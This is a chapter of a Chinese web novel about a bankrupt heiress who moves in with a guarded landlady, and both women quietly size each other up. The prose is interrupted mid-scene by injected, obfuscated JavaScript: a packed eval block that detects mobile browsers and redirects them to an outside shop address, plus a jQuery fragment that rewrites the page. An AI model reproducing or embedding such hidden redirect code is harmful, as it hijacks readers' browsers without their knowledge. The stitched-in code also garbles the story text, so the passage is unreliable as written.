沈枝薇乖巧点头：“好的，林荌姐姐。”
“别叫姐姐。”林荌把合同收进抽屉，“叫林荌就行。”
“那……林荌。”沈枝薇从善如流，声音软软的，“我今天下午就搬过来，可以吗？”
“随你。”林荌重新端起那杯已经凉了的咖啡，走向自己的房间，“走的时候带上门。”
次卧的门轻轻关上。
沈枝薇站在客厅中央，环顾这个即将成为她新家的地方。
阳光透过纱帘洒进来，在地板上投下温柔的光斑。空气里有淡淡的咖啡香，和一种很干净、很空旷的味道。
她走到落地窗前，俯瞰楼下的车水马龙。
三天前，她还住在有游泳池和花园的别墅里。三天后，她要和陌生人合租，月租两千。
真是天道好轮回，苍天饶过谁啊。
沈枝薇闭上眼睛，深呼吸。
然后，她拿出手机，给搬家公司发了条消息。
又点开微信，找到一个备注为“李阿姨”的联系人。
“李姨，之前说的事情，麻烦您了。”
对方很快回复：“小姐放心，老爷和夫人的东西都收好了，放在储藏室。您要的那些衣服和包，我明天给您送过去。”
“不用，给我地址，我自己去拿。”沈枝薇打字，“还有，以后别叫我小姐了。”
她收起手机，最后看了一眼主卧。
房间很好。房东……有点意思。
沈枝薇拎起她的帆布包，走出2801，轻轻带上门。
电梯下行时，她对着镜子补了补口红。
镜子里的人眼睛还微微发红，嘴角却扬起一个漂亮的、势在必得的弧度。
林荌。
她在心里默念这个名字。
次卧里，林荌靠在门上，听着外面大门关上的声音。
然后，她走到窗边，看着楼下那个米白色的身影走出单元门，在路边拦了辆出租车。
直到出租车汇入车流，消失不见，林荌才从口袋里掏出手机，点开一个页面。
那是沈枝薇的社交媒体小号。
昨天半夜，她通过手机号反查到的。里面没什么内容，只有几张风景照，和几条转发。
但足够她确认一些事情。
比如，沈枝薇三天前还在参加某品牌的私享会，照片里她穿着当季高定，笑得明艳动人。
比如，沈家破产的新闻，就发生在两天前。
林荌退出页面，点开微信，给一个备注为“陈律师”的人发了条消息：
“你上次说的那个破产的沈家，他们家是不是有个女儿？”
对方很快回复：“对，叫沈枝薇，24岁。怎么，你认识？”
林荌看着屏幕上那个名字，轻笑一声。
“现在认识了。”
她放下手机，走到客厅，拿起沈枝薇刚才用过的水杯。杯沿上有一个淡淡的唇印，蜜桃色的。
林荌用指尖抹过那个唇印，然后走进厨房，把杯子放进水槽。
水龙头打开，水流冲过杯壁，唇印消失无踪。
林荌关上水，看着窗外明晃晃的太阳。
“穿八千块开衫的大小姐，来租两千块的房子。”她自言自语，声音里带着笑意，“沈枝薇，你打算演哪一出呢？”
她擦干手，从冰箱里拿出一罐冰可乐，拉开拉环。
气泡涌出的声音，在安静的房间里格外清晰。
“算了。”林荌喝了一口可乐，冰得她眯起眼睛，“反正最近挺无聊的。”
“陪你玩玩。”
下午四点，沈枝薇带着两个行李箱，回到了2801。
她换了身衣服。
简单的白T恤和牛仔裤，头发扎成马尾，看起来清爽又无辜。妆重新化过，比上午更淡，几乎看不出痕迹，但眼睛显得更大，更清澈。
林荌开的门。她也换了衣服，还是黑色T恤，但换成了居家短裤，露出笔直修长的腿，头发放下来了，湿漉漉的，像是刚洗过澡。
“林荌。”沈枝薇露出一个略带羞涩的笑容，“我来了。”
“嗯。”林荌侧身让她进来，目光在她身后的行李箱上扫过，“就这些？”
“还有一些……之前放在朋友那里，过几天再拿。”沈枝薇含糊带过，拉着箱子进了主卧。
门关上。她靠在门上，轻轻吐出一口气。
然后，她开始整理行李。
行李箱里没什么贵重物品，几件基本款衣服，一些洗漱用品，几本书。真正值钱的东西，她已经寄存在李阿姨那里。那些不能卖，是她最后的体面。
整理到一半，敲门声响起。
沈枝薇迅速调整表情，打开门。
林荌站在门外，手里拿着一个玻璃碗，里面是洗好的樱桃。
“冰箱里还有，要吃自己拿。”她把碗递给沈枝薇。
“谢谢……”沈枝薇接过，指尖不经意间擦过林荌的手背。很轻，很快，像是无意。
林荌没什么反应，只是看了她一眼：“晚上我做饭，一起吃？”
沈枝薇眨眨眼：“你会做饭？”
“不然呢？”林荌挑眉，“靠喝露水活着？”
沈枝微微微脸红，她低下头，小声说：“我、我可以帮忙打下手……”
“不用。”林荌转身往厨房走，“别添乱就行。”
厨房是开放式的。沈枝薇坐在客厅沙发上，抱着樱桃碗，看着林荌在厨房里忙碌。
她动作很利落，洗菜切菜，热锅倒油，一气呵成。油烟机的声音里，油锅滋滋作响，蒜末的香气飘过来。
沈枝薇很久没闻过这种味道了。在沈家，厨房是佣人的领地，她甚至很少进去。饭菜总是精致地摆在桌上，温度刚好，摆盘完美。
但林荌做饭的样子不一样。她围着一条深蓝色的围裙，袖子挽到手肘，露出线条流畅的小臂。侧脸在厨房的灯光下显得很专注，睫毛很长，垂下来时在眼下投出一小片阴影。
沈枝薇拿起一颗樱桃，放进嘴里。
很甜。
“你一个人住这么大的房子，不会觉得空吗？”她问，声音在油烟机的背景音里显得柔软。
林荌没回头：“以前是有点。”
“那为什么还要招租？”
“找个合租的，就不空了。”林荌关火，把菜盛进盘子，“而且，两千块，就当请个会动的装饰品。”
沈枝薇咬樱桃的动作停了一下。
会动的……装饰品？
她看着林荌端着两盘菜走过来，放在餐桌上。一盘是蒜蓉西兰花，一盘是可乐鸡翅，还蒸了米饭。
“吃吧。”林荌递给她一双筷子。
沈枝薇接过，小声说了句谢谢。
饭菜的味道比她预想的好。西兰花清脆，鸡翅入味，米饭软硬适中。她小口小口吃着，动作斯文，但速度不慢。
她是真的饿了，家里面出事的这几天，忙得她嘴里都冒泡了，饭也吃好。
林荌吃得很安静，偶尔看她一眼，不说话。
吃到一半，沈枝薇的手机响了。她瞥了一眼，是陌生号码，直接按掉。
“不接？”林荌问。
“应该是推销电话。”沈枝微笑笑，但笑容有点勉强。
林荌没追问。
吃完饭，沈枝薇主动收拾碗筷：“我来洗碗吧。”
“有洗碗机。”林荌说，“放进去就行。”
沈枝薇顿了顿，还是坚持：“我手洗吧，很快的。”
她端着碗筷走进厨房，打开水龙头。水温刚好，她挤了点洗洁精，开始洗碗。
林荌靠在厨房门框上看着她。
沈枝薇洗碗的姿势很生疏，甚至有点笨拙，但很认真。泡沫沾到了她的袖口，她也没在意，只是小心地冲洗每一只碗，然后用干净的布擦干。
“你没洗过碗？”林荌忽然问。
沈枝薇的背影僵了一下。
“……洗过。”她说，声音很轻，“只是……很久没洗了。”
林荌没再说话。
沈枝薇把最后一个盘子擦干，放进碗架，然后转过身，对她露出一个笑容：“洗好了。”
她的袖子湿了一小片，脸颊因为热气而微微泛红，眼睛亮晶晶的。
林荌看着她，看了两秒，然后转身走向客厅。
“早点休息。”她说。
“林荌。”沈枝薇叫住她。
林荌回过头。
“谢谢你。”沈枝薇说，声音柔软真诚，“谢谢你租房子给我，也谢谢你做的饭。”
林荌点点头，没说什么，走进了次卧。
门轻轻关上。
沈枝薇站在厨房里，听着水龙头滴水的声音。
滴答
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375403|200077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。滴答。
她抬起手，看着自己湿漉漉的指尖。指甲修剪得很整齐，涂着透明的护甲油，在灯光下泛着健康的光泽。
这双手，三天前还戴着七位数的钻戒，在慈善晚宴上举杯。
现在，它在洗两个人的碗。
沈枝薇关上水龙头，擦干手，走回主卧。
关上门，反锁。
然后，她靠在门上，缓缓滑坐在地。
脸上的笑容消失了。她抱住膝盖，把脸埋进臂弯里。
肩膀开始颤抖。
没有声音，只是安静地、剧烈地颤抖。
五分钟后，她抬起头，眼眶是红的，但没有眼泪。
她站起来，走到浴室，打开水龙头，用冷水洗了把脸。
抬起头，看着镜子里的自己。
眼睛还红着，但眼神很冷静，很清醒。
“沈枝薇。”她对着镜子，轻声说，“你可以的。”
然后，她开始脱衣服，准备洗澡。
花洒打开，热水倾泻而下，蒸腾起白色的水汽。
在水声中，沈枝薇闭上眼睛，开始复盘今天的一切。
沈枝薇抹了把脸上的水。
思索良久，沈枝薇关掉水，用浴巾擦干身体，换上睡衣。
然后，她拿起手机，点开林荌的微信头像。
朋友圈三天可见，什么也没有。
沈枝薇想了想，发了一条消息过去：
“林荌，我洗好澡了。今天真的很谢谢你[可爱]”
等了一分钟，没有回复。
沈枝薇不着急。她退出微信，打开备忘录，开始记录今天的事。
写完，她锁上手机，躺在床上。
窗外，城市的灯光透过纱帘，在天花板上投下模糊的光影。
沈枝薇闭上眼睛。
次卧里，林荌靠在床头，看着手机上那条消息。
“林荌，我洗好澡了。今天真的很谢谢你。[可爱]”
她盯着那个[可爱]的表情看了几秒，然后关掉屏幕，把手机扔到一边。
床头灯的光晕柔和。林荌从床头柜上拿起那本看了一半的建筑杂志，翻了几页，又合上。
她想起沈枝薇洗碗的样子。生疏，但认真。袖子湿了也没管，只是低着头，小心地冲洗每一只碗。
也想起她吃樱桃时，嘴唇被果汁染成淡红色的样子。
还有她说“谢谢你”时，那双亮晶晶的眼睛。
林荌闭上眼睛，揉了揉眉心。
然后，她重新拿起手机，点开和陈律师的聊天记录。
往上翻，是陈律师下午发来的一条新消息：
“对了，沈家那个案子有点复杂。沈明诚，就是沈枝薇她爸，可能涉嫌非法集资，现在人在国外，暂时回不来。沈枝薇她妈上个月就出国了，说是治病，但具体不清楚。沈枝薇现在……说白了，就是被扔在国内一个人扛着。”
林荌看着那条消息，沉默了很久。
然后，她打字回复：
“知道了。”
对方正在输入了一会儿，发来一条：
“你怎么突然关心这个？该不会是……？”
林荌没回。
她退出微信，关掉床头灯。
黑暗中，她睁开眼睛，看着天花板。
耳边，似乎还回响着沈枝薇那句软软的“林荌”。
带着一点鼻音，一点试探，一点……刻意为之的甜。
林荌翻了个身，把脸埋进枕头里。
“沈枝薇。”她低声说，声音闷在枕头里，模糊不清。
“你最好……”
否则。
否则什么，她没说。
只是闭上眼睛，在沈枝薇那句“谢谢你”的回音里，缓缓沉入睡梦。
而一墙之隔的主卧里，沈枝薇也睡着了。
她做了一个梦。梦见自己还在沈家的别墅里，穿着漂亮的裙子，在花园里喝下午茶。阳光很好，茶很香，一切都很好。
然后，梦醒了。
她睁开眼睛，看着陌生的天花板，花了三秒钟才想起自己在哪里。
窗外，天还没亮。
沈枝薇坐起来，抱住膝盖，把脸埋进去。
没关系。
她对自己说。
会好起来的。
一切，都会好起来的。